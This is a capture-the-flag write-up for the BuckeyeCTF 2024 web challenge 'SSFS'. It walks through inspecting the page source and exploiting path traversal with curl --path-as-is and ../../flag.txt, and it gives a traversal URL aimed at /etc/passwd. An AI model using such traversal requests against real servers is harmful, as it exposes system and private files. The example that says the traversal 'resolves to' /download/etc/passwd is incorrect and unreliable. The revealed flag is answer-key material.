Post

BuckeyeCTF 2024 - SSFS

Page Source Inspection

The actual functionality of uploading and downloading files weren’t working so I looked at the page source. I saw this portion of the source:

1
2
3
4
5
6
7
8
9
10
11
12
13
const searchFile = async () => {
	let formData = new FormData(searchForm);
	console.log([...formData][0]);
	let response = await fetch('/search/' + [...formData][0][1], {
		method: 'GET',
	});
	searchWrapper.hidden = false;
	if (response.status === 200) {
		searchMessage.innerHTML = 'File found. Download link: <a href="/download/' + [...formData][0][1] + '">Download</a>';
	} else {
		searchMessage.innerHTML = 'File not found.';
	}
}

If we look closer, once a file is found from the search bar (or the search functionality), there will be a linked provided by the site that accesses the path of that file:

1
searchMessage.innerHTML = 'File found. Download link: <a href="/download/' + [...formData][0][1] + '">Download</a>';

So, when I tried to access the /download/flag.txt, I got an error message back:

1
2
└─$ curl https://ssfs.challs.pwnoh.io/download/flag.txt             
{"message":"File not found","status":"error"}

So, I assumed that this could be a path traversal related challenge (and also given that this is the very first challenge in the Web category). But when I tried a few different paths such as /download/../flag.txt or /download/../../flag.txt, I got an error that the URL was not found. When I looked at the web browser, my initial request address was resolved to https://ssfs.challs.pwnoh.io/flag.txt instead. This is because of the Path Normalization.

Path Normalization

Path Normalization is the process of transforming a URL’s path into a standard, canonical form. For example, if someone is trying to path traverse to access some secret file:

1
http://example.com/download/../../etc/passwd

This will resolve to:

1
http://example.com/download/etc/passwd

In order to ignore(?) this, I learned that I can use curl’s --path-as-is option to test possible path traversal vulnerability. Once I learned how to use this option, it was a basic path traversal challenge.

Solve

So, if we try something like this, we can get the flag:

1
2
└─$ curl --path-as-is https://ssfs.challs.pwnoh.io/download/../../flag.txt   
bctf{4lw4y5_35c4p3_ur_p4th5}                                                                                                     
This post is licensed under CC BY 4.0 by the author.